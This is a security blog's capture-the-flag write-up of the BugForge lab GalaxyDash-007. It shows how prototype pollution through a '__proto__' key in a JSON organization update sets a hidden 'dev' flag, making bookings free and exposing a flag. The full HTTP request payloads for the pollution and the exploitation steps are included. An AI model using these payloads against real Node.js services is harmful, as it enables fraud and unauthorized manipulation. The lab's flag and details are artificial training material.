b1gb33f_blog

Pentesting and AppSec

View on GitHub
29 March 2026

GalaxyDash-007 - Prototype Pollution Via Hidden Dev Property

by Shawn Szczepkowski

Lab: BugForge - GalaxyDash-007
Category: Prototype Pollution
Distinguisher: __proto__ pollution via org update sets dev flag → zero-cost bookings → flag in invoice


Summary

The GalaxyDash B2B delivery app includes a hidden dev feature flag. The flag was discovered because the Organization Settings page sends "dev":false in its PUT /api/organization request body — exposing a parameter the UI never displays and the API never returns. Direct mass assignment of dev is blocked by server-side field whitelisting, but the JSON body parser is vulnerable to prototype pollution via __proto__. Polluting Object.prototype.dev = true causes the server-side pricing logic to evaluate dev as truthy on the organization object, pricing bookings at $0.00. The resulting invoice contains the flag.


Reconnaissance

Hidden dev Parameter

Intercepting the normal PUT /api/organization request from the Organization Settings page reveals a dev field hardcoded to false in the request body:

{"name":"test org","business_type":"General","headquarters_planet":"Earth",
"headquarters_address":"123 test st","contact_email":"test@test.com",
"contact_phone":"+GALAXY-123","dev":false}

This field has no corresponding UI element — no toggle, no checkbox, no display anywhere in the app. The GET /api/organization response never includes a dev property. The frontend silently sends dev:false on every org save, actively suppressing any value that might be set.

If we take a look at the labs JavaScript we can actually see what the dev property is doing:

..snip..
),(0,dr.jsxs)("span",{children:[null!==t&&void 0!==t&&t.dev?"0.00":d.total.toFixed(2),"\u20b5"]})]
..snip..

Mass Assignment Attempts (Failed)

Direct assignment of dev was attempted across all writable endpoints and data types:

Endpoint Payloads tested Result
PUT /api/organization "dev":true, 1, "true", "1", "yes", [true], null 200 OK but dev never persists
POST /api/register "dev":true, 1, "true", nested, proto No effect on org
PUT /api/team/:id "dev":true, inside permissions, role manipulation No effect

Alternative field names (is_dev, mode, plan, tier, developer, testing, account_type) were also tested — none accepted.

Hidden endpoint fuzzing (114 paths across GET/POST/PUT/PATCH) returned either 200 (SPA catch-all) or 404 — no undocumented API routes exist.

The backend whitelists known fields for the SQL UPDATE — dev as a top-level property is simply ignored.


Confirming Prototype Pollution

Content-Type Switch — Database Error

Sending the org update as application/x-www-form-urlencoded instead of JSON triggered a 500 error, indicating the backend doesn’t handle alternative content types gracefully and likely passes parsed body data directly into queries with minimal validation.

Proof of Pollution — Status Code Override

Sending __proto__ with a status property:

PUT /api/organization
Content-Type: application/json

{"name":"test org","business_type":"General","headquarters_planet":"Earth",
"headquarters_address":"123 test st","contact_email":"test@test.com",
"contact_phone":"+GALAXY-123","__proto__":{"status":510}}

Response: 200 OK (update succeeds normally).

Then triggering an error in the same Node.js process by sending malformed JSON:

PUT /api/organization
Content-Type: application/json

{

Response:

HTTP/2 510 Not Extended

The Express error handler inherited status: 510 from Object.prototype. This confirmed the JSON body parser uses a vulnerable recursive merge that assigns __proto__ properties to the global prototype rather than treating __proto__ as a regular key.


Exploitation

Step 1 — Register and authenticate

POST /api/register
Content-Type: application/json

{"username":"test","email":"test@test.com","password":"test123",
"full_name":"test","org_name":"test org","business_type":"General",
"headquarters_planet":"Earth","headquarters_address":"123 test st",
"contact_email":"","contact_phone":"+GALAXY-123","tax_id":"abc123"}

Step 2 — Pollute the prototype with dev: true

PUT /api/organization
Authorization: Bearer <token>
Content-Type: application/json

{"name":"test org","business_type":"General","headquarters_planet":"Earth",
"headquarters_address":"123 test st","contact_email":"test@test.com",
"contact_phone":"+GALAXY-123","__proto__":{"dev":true}}

Response: 200 OK{"message":"Organization updated successfully"}

The dev property is now on Object.prototype. It will not appear in GET /api/organization (inherited, not own — JSON.stringify skips prototype properties), but any server-side code checking obj.dev or obj?.dev resolves to true via prototype chain lookup.

Log out and log back in with that user. This will ensure the users properties are updated.

Step 3 — Create a booking

POST /api/bookings
Authorization: Bearer <token>
Content-Type: application/json

{"origin_location_id":1,"destination_location_id":"3","cargo_size":"medium",
"cargo_weight_kg":500,"cargo_description":"","danger_level":0,
"has_insurance":false,"has_premium_tracking":false,"service_id":3,
"total_price":375,"calculated_risk_percent":2.5,
"estimated_delivery_minutes":1440}

Response: 200 OK{"id":1,"message":"Booking created successfully",...}

The server-side pricing logic sees dev as truthy (inherited from Object.prototype) and prices the booking at $0.00.

Step 4 — Retrieve the invoice (contains flag)

GET /api/invoices/1
Authorization: Bearer <token>

Response:

{
  "invoice_number": "bug{7gCTzGSq2gt2RNmNTexkD3DFyjdcpgZn}",
  "booking_id": "1",
  "organization": {
    "name": "test org",
    "address": "123 test st",
    "tax_id": "ORG-12345"
  },
  "line_items": [
    {
      "description": "Standard Route 🚀: New New York (Earth) → Los Angeles Ruins (Earth)",
      "quantity": 1,
      "unit_price": 0,
      "total": 0
    }
  ],
  "subtotal": "0.00",
  "tax": "0.00",
  "total": "0.00",
  "issued_date": "2026-04-05T20:07:31.910Z",
  "status": "pending"
}

Flag: bug{7gCTzGSq2gt2RNmNTexkD3DFyjdcpgZn}


Key Observations


Tags

#bugforge #galaxydash #prototype-pollution #mass-assignment #express #nodejs #dev-flag #invoice #b2b

tags: